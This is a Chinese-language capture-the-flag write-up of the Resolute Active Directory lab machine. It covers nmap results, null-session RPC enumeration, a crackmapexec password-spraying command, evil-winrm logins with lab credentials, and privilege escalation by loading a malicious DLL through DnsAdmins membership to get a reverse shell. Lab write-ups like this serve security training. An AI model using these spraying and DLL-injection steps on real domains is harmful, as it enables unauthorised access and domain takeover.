Active Directory 101-Resolute
前言
这一台机器相比较前几台机器 更加简单 难点主要在于最后提权那里。
信息收集
Nmap scan report for 10.10.10.169
Host is up (0.39s latency).
Not shown: 65476 closed ports, 36 filtered ports
PORT STATE SERVICE VERSION
53/tcp open domain?
| fingerprint-strings:
| DNSVersionBindReqTCP:
| version
|_ bind
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2022-10-12 08:19:11Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds (workgroup: MEGABANK)
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
49670/tcp open msrpc Microsoft Windows RPC
49674/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49675/tcp open msrpc Microsoft Windows RPC
49680/tcp open msrpc Microsoft Windows RPC
49709/tcp open msrpc Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.80%I=7%D=10/12%Time=634676E0%P=x86_64-pc-linux-gnu%r(DNS
SF:VersionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version
SF:\x04bind\0\0\x10\0\x03");
Service Info: Host: RESOLUTE; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3.02:
|_ Message signing enabled and required
|_smb2-time: Protocol negotiation failed (SMB2)
密码喷洒
使用控身份连接到RPC


得到一组账号密码 尝试进行登陆。
经过crackmapexec验证发现该用户不能登录,我们把前面发现的用户名都存入userlist.txt 然后使用crackmapexec进行密码喷洒
crackmapexec smb 10.10.10.169 -u userlist.txt -p 'Welcome123!' --continue-on-success

喷洒出可登录的用户 直接登录
evil-winrm -i 10.10.10.169 -P 5985 -u melanie -p 'Welcome123!'



发现了一个存有ryan用户名和密码的txt文件
dnsadmin组实现权限提升
我们通过这个账号密码 尝试进行登录。
evil-winrm -i 10.10.10.169 -P 5985 -u ryan -p 'Serv3r4Admin4cc123!'

成功进入。
我们在ryan用户的桌面发现了一个note.txt文件,内容如下:
due to change freeze, any system changes (apart from those to the administrator account) will be automatically reverted within 1 minute
翻译:由于更改冻结,任何系统更改(除了管理员帐户的更改)将在 1 分钟内自动恢复

该组可以进行远程加载DLL 可通过构造恶意的DLL实现反弹shell
https://3gstudent.github.io/backup-3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-%E5%88%A9%E7%94%A8dnscmd%E5%9C%A8DNS%E6%9C%8D%E5%8A%A1%E5%99%A8%E4%B8%8A%E5%AE%9E%E7%8E%B0%E8%BF%9C%E7%A8%8B%E5%8A%A0%E8%BD%BDDll/

生成恶意的DLL马

远程加载恶意DLL以及重启DNS服务操作。
注意:在实际的生产环境中重新DNS服务属于危险操作。
观察反弹端口端的情况

成功反弹过一个高权限的shell 实现提权效果。
还可以将恶意dll的操作设置为重置管理员密码 然后使用新的密码 进行横向操作。
总结
这一台靶机相对比较轻松,最后提权那里对于DNSadmin不太熟悉,卡了一会。大概的思路就是 通过信息收集 和枚举通过空身份登录到RPC然后枚举出了一堆账号和一组密码 通过密码喷洒 得到一组可以登录的账号密码,成功登录上去。然后就是一顿翻,最后翻到隐藏文件中有一个txt写了ryan的账号密码 通过evil winrm成功登录上去后 发现该账号是DNS admin组的 该组可以实现远程调用DLL 然后使用MSF生成恶意的DLL 填好端口和IP信息 最后实现了反弹shell的效果 这个shell是一个高权限的shell 成功实现了反弹shell的操作